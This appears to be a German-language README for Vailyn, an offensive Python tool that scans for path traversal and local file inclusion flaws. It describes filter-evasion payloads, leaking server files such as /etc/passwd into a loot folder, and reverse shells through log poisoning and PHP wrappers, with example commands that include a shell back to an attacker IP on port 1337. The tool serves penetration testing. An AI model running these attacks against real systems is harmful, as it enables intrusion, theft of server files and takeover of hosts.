
Ein phasenweises, ausweichendes Tool zum Scannen und Ausnutzen von Path Traversal und LFI in Python

Phasenbasierte Path-Traversal- und LFI-Angriffe
Vailyn 3.0
Seit v3.0 unterstützt Vailyn LFI-PHP-Wrapper in Phase 1. Verwende
--lfi, um sie in den Scan einzubeziehen.
Vailyn ist ein mehrphasiges Tool zur Schwachstellenanalyse und -ausnutzung für Path-Traversal- und File-Inclusion-Schwachstellen. Es ist darauf ausgelegt, so leistungsfähig wie möglich zu sein, und bietet ein breites Arsenal an Filterumgehungstechniken.
Vailyn arbeitet in zwei Phasen. Zunächst prüft es, ob die Schwachstelle vorhanden ist. Dies geschieht durch den Versuch, auf /etc/passwd (oder eine benutzerdefinierte Datei) zuzugreifen, mit allen seinen Umgehungs-Payloads. Durch die Analyse der Antwort werden Payloads, die funktioniert haben, von den anderen getrennt.
Jetzt kann der Benutzer frei wählen, welche Payloads verwendet werden sollen. Nur diese Payloads werden in der zweiten Phase verwendet.
Die zweite Phase ist die Ausnutzungsphase. Nun wird versucht, alle möglichen Dateien vom Server mit einem Datei- und einem Verzeichniswörterbuch zu leaken. Die Suchtiefe und das Verzeichnispermutationsniveau können über Argumente angepasst werden. Optional können gefundene Dateien heruntergeladen und im Beuteordner gespeichert werden. Alternativ wird versucht, eine Reverse-Shell auf dem System zu erhalten, sodass der Angreifer die vollständige Kontrolle über den Server erlangt.
Derzeit unterstützt es mehrere Angriffsvektoren: Injection über Query, Pfad, Cookie und POST-Daten.
Die Trennung in mehrere Phasen dient der enormen Leistungssteigerung des Tools. In früheren Versionen wurde jede Datei-Verzeichnis-Kombination mit jedem Payload überprüft. Dies führte zu einem enormen Overhead, da Payloads immer wieder verwendet wurden, obwohl sie für die aktuelle Seite nicht funktionierten.
Empfohlene und getestete Python-Versionen sind 3.7+, aber es sollte auch mit Python 3.5 und Python 3.6 funktionieren. Um Vailyn zu installieren, lade das Archiv aus dem Release-Tab herunter oder führe Folgendes aus:
$ git clone https://github.com/VainlyStrain/Vailyn
Sobald es auf Ihrem System ist, müssen Sie die Python-Abhängigkeiten installieren.
Auf Unix-Systemen reicht es aus, Folgendes auszuführen:
$ pip install -r requirements.txt # --user
Einige Bibliotheken, die Vailyn verwendet, funktionieren unter Windows nicht gut oder können nicht installiert werden.
Wenn Sie Windows verwenden, installieren Sie die in Vailyn\·›\requirements-windows.txt aufgeführten Abhängigkeiten mit pip.
Wenn Twisted nicht installiert werden kann, gibt es eine inoffizielle Version hier, die unter Windows gebaut werden sollte. Beachten Sie jedoch, dass dies ein Download von Drittanbietern ist und die Integrität nicht unbedingt gewährleistet ist. Nach erfolgreicher Installation sollte die erneute Ausführung von pip für requirements-windows.txt funktionieren.
Wenn Sie das Reverse-Shell-Modul vollständig nutzen möchten, müssen Sie sshpass, ncat und konsole installiert haben. Die Paketnamen variieren je nach Linux-Distribution. Unter Windows müssen Sie den Listener vorher manuell starten. Wenn Sie konsole nicht mögen, können Sie in core/config.py einen anderen Terminalemulator angeben.
Das war's! Starten Sie Vailyn, indem Sie in das Installationsverzeichnis wechseln und Folgendes ausführen:
$ python Vailyn -h
Vailyn hat drei obligatorische Argumente: -v VIC, -a INT und -p2 TP P1 P2. Je nach -a können jedoch weitere Argumente erforderlich sein.
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
obligatorisch:
-v VIC, --victim VIC Ziel des Angriffs, Teil 1 [vor Payload]
-a INT, --attack INT Angriffsart (int, 1-5, oder A)
A| Spider (alle) 2| Pfad 5| POST-Daten, json
P| Spider (partiell) 3| Cookie
1| Query-Parameter 4| POST-Daten, plain
-p2 TP P1 P2, --phase2 TP P1 P2
Angriff in Phase 2 und benötigte Parameter
┌[ Werte ]──────────────┬────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼─────────────┼────────────────────┤
│ leak │ File Dict │ Directory Dict │
│ inject │ IP Addr │ Listening Port │
│ implant │ Source File │ Server Destination │
└─────────┴─────────────┴────────────────────┘
zusätzlich:
-p PAM, --param PAM Abfrageparameter oder POST-Daten für --attack 1, 4, 5
-i F, --check F Datei, die in Phase 1 überprüft werden soll (Std.: etc/passwd)
-Pi VIC2, --vic2 VIC2 Angriffsziel, Teil 2 [nach-Payload]
-c C, --cookie C Cookie zum Anhängen (im Header-Format)
-l, --loot Gefundene Dateien in den Beuteordner herunterladen
-d I J K, --depths I J K Tiefen (I: Phase 1, J: Phase 2, K: Permutationsstufe)
-h, --help Dieses Hilfemenü anzeigen und beenden
-s T, --timeout T Anforderungs-Timeout; stabiler Schalter für Arjun
-t, --tor Angriffe durch das Tor-Anonymitätsnetzwerk leiten
-L, --lfi Zusätzlich PHP-Wrapper zum Leaken von Dateien verwenden
-n, --nosploit Phase 2 überspringen (benötigt kein -p2 TP P1 P2)
-P, --precise Exakte Tiefe in Phase 1 verwenden (kein Bereich)
-A, --app Vailyns Qt5-Oberfläche starten
Entwicklung:
--debug Jeden versuchten Pfad anzeigen, auch 404er.
--version Programmversion anzeigen und beenden.
--notmain notify2-Absturz im Unterprozessaufruf vermeiden.
Info:
to leak files using absolute paths: -d 0 0 0
to get a shell using absolute paths: -d 0 X 0
Vailyn unterstützt derzeit 5 Angriffsvektoren und bietet einen Crawler zur Automatisierung aller. Der durchgeführte Angriff wird durch das Argument -a INT identifiziert.
INT Angriff
---- -------
1 abfragebasierter Angriff (https://site.com?file=../../../)
2 pfadbasierter Angriff (https://site.com/../../../)
3 cookie-basierter Angriff (sammelt die Cookies für Sie)
4 normale POST-Daten (ELEM1=VAL1&ELEM2=../../../)
5 JSON-POST-Daten ({"file": "../../../"})
A Spider Alle URLs der Seite mit allen Vektoren abrufen und analysieren
P partieller Spider Alle URLs der Seite nur mit ausgewählten Vektoren abrufen und analysieren
Sie müssen auch ein Angriffsziel angeben. Dies geschieht über -v VIC und -Pi VIC2, wobei -v der Teil vor dem Injektionspunkt ist und -Pi der Rest.
Beispiel: Wenn die endgültige URL so aussehen soll: https://site.com/download.php?file=<ATTACK>¶m2=necessaryvalue, können Sie -v https://site.com/download.php und -Pi ¶m2=necessaryvalue angeben (und -p file, da es sich um einen Abfrageangriff handelt).
Wenn Sie PHP-Wrapper (wie php://filter) in den Scan einbeziehen möchten, verwenden Sie das Argument --lfi. Am Ende von Phase 1 wird ein zusätzliches Auswahlmenü mit den funktionierenden Wrappern angezeigt (falls vorhanden).
Wenn sich die angegriffene Seite hinter einer Anmeldeseite befindet, können Sie ein Authentifizierungs-Cookie über -c COOKIE bereitstellen. Wenn Sie über Tor angreifen möchten, verwenden Sie --tor.
Dies ist die Analysephase, in der funktionierende Payloads von den anderen getrennt werden.
Standardmäßig wird /etc/passwd nachgeschlagen. Wenn der Server nicht Linux verwendet, können Sie eine benutzerdefinierte Datei mit -i DATEINAME angeben. Beachten Sie, dass Sie Unterverzeichnisse in DATEINAME angeben müssen.
Sie können die Suchtiefe mit dem ersten Wert von -d ändern (Standard=8). Wenn Sie absolute Pfade verwenden möchten, setzen Sie die erste Tiefe auf 0.
Dies ist die Ausnutzungsphase, in der Vailyn versucht, so viele Dateien wie möglich zu leaken oder mit verschiedenen Techniken eine Reverse-Shell zu erlangen.
Die Suchtiefe in Phase 2 (die maximale Anzahl der zurückgelegten Ebenen) wird durch den zweiten Wert des Arguments -d angegeben. Die Stufe der Unterverzeichnispermutation wird durch den dritten Wert von -d festgelegt.
Wenn Sie mit absoluten Pfaden angreifen und den Leak-Angriff durchführen, setzen Sie alle Tiefen auf 0. Wenn Sie eine Reverse-Shell erlangen möchten, stellen Sie sicher, dass die zweite Tiefe größer als 0 ist.
Durch Angabe von -l zeigt Vailyn die Dateien nicht nur im Terminal an, sondern lädt sie auch herunter und speichert sie im Beuteordner.
Wenn Sie eine ausführliche Ausgabe wünschen (jede Ausgabe anzeigen, nicht nur gefundene Dateien), können Sie --debug verwenden. Beachten Sie, dass die Ausgabe sehr unübersichtlich wird; dies ist im Grunde nur eine Debug-Hilfe.
Um den Brute-Force-Angriff durchzuführen, müssen Sie -p2 leak FIL PFAD angeben, wobei
Um eine Reverse-Shell durch Code-Injection zu erlangen, können Sie -p2 inject IP PORT verwenden, wobei
WARNUNG
Vailyn verwendet Log-Poisoning-Techniken. Daher wird IHRE ANGEGEBENE IP IN DEN SERVER-LOGS SICHTBAR SEIN.
Die Techniken (funktionieren nur für LFI-Inklusionen):
/proc/self/environ funktioniert nur auf veralteten ServernApache + Nginx Log Poisoning & inclusionSSH Log Poisoningexpect://data:// (plain & b64)php://inputUm echte Ergebnisse von Fehlalarmen zu unterscheiden, führt Vailyn die folgenden Prüfungen durch:
-a 2 eine zusätzliche Prüfung, ob der Antwortinhalt mit dem Inhalt der Server-Stamm-URL übereinstimmt/etc/passwd, wenn dies als Suchdatei verwendet wirdEinfacher Query-Angriff, Leaken von Dateien in Phase 2:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
Query-Angriff, aber ich weiß, dass eine Datei file.php genau 2 Ebenen über dem Inklusionspunkt existiert:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
Dies wird die Dauer von Phase 1 erheblich verkürzen, da es sich um einen gezielten Angriff handelt.
Einfacher Pfadangriff:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
Pfadangriff, aber ich benötige Query-Parameter und Tag:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
Einfacher Cookie-Angriff:
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
Sammelt Cookies und Sie können das Cookie auswählen, das Sie vergiften möchten
Vailyns Crawler analysiert eine verdammt anfällige Webanwendung. LFI-Wrapper sind nicht aktiviert.
Einige Fehlalarme/Fehlalarme gefunden (oder andere Bugs/Verbesserungen melden): Bitte erstelle ein Issue!
Vailyn wird als offensives Webanwendungs-Audit-Tool bereitgestellt. Es verfügt über integrierte Funktionen, die potenzielle Schwachstellen in Webanwendungen aufdecken können, die böswillig ausgenutzt werden könnten.
DAHER SIND WEDER DER AUTOR NOCH DIE MITWIRKENDEN FÜR MISSBRAUCH ODER SCHÄDEN VERANTWORTLICH, DIE DURCH DIESES TOOLKIT ENTSTEHEN.
Durch die Nutzung dieser Software verpflichtet sich der Benutzer, die örtlichen Gesetze einzuhalten, kein System eines anderen ohne ausdrückliche Erlaubnis des Eigentümers oder mit böswilliger Absicht anzugreifen.
Im Falle eines Verstoßes ist nur der Endbenutzer, der ihn begangen hat, für seine Handlungen verantwortlich.
Vailyn: Copyright © VainlyStrain
Arjun: Copyright © s0md3v
Arjun wird nicht mehr mit Vailyn verteilt. Installieren Sie die neueste Version über pip.
POST Plain-Angriff:
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
infiziert DATA2 mit dem Payload
POST JSON-Angriff:
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
Angriff, aber Ziel befindet sich hinter einer Anmeldeseite:
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
Angriff, aber ich möchte eine Reverse-Shell auf Port 1337:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MEINE.IP.IST.XX 1337 # eine hohe Phase 2 Tiefe ist für Log-Injection nötig
(startet für Sie einen ncat-Listener, wenn auf Unix)
Vollautomatisierung im Crawler-Modus:
$ Vailyn -v "http://root-url.site" -a A Sie können hier auch andere Argumente wie Cookie, Tiefen, lfi und Suchdatei angeben
Vollautomatisierung, aber Arjun benötigt --stable:
$ Vailyn -v "http://root-url.site" -a A -s ANY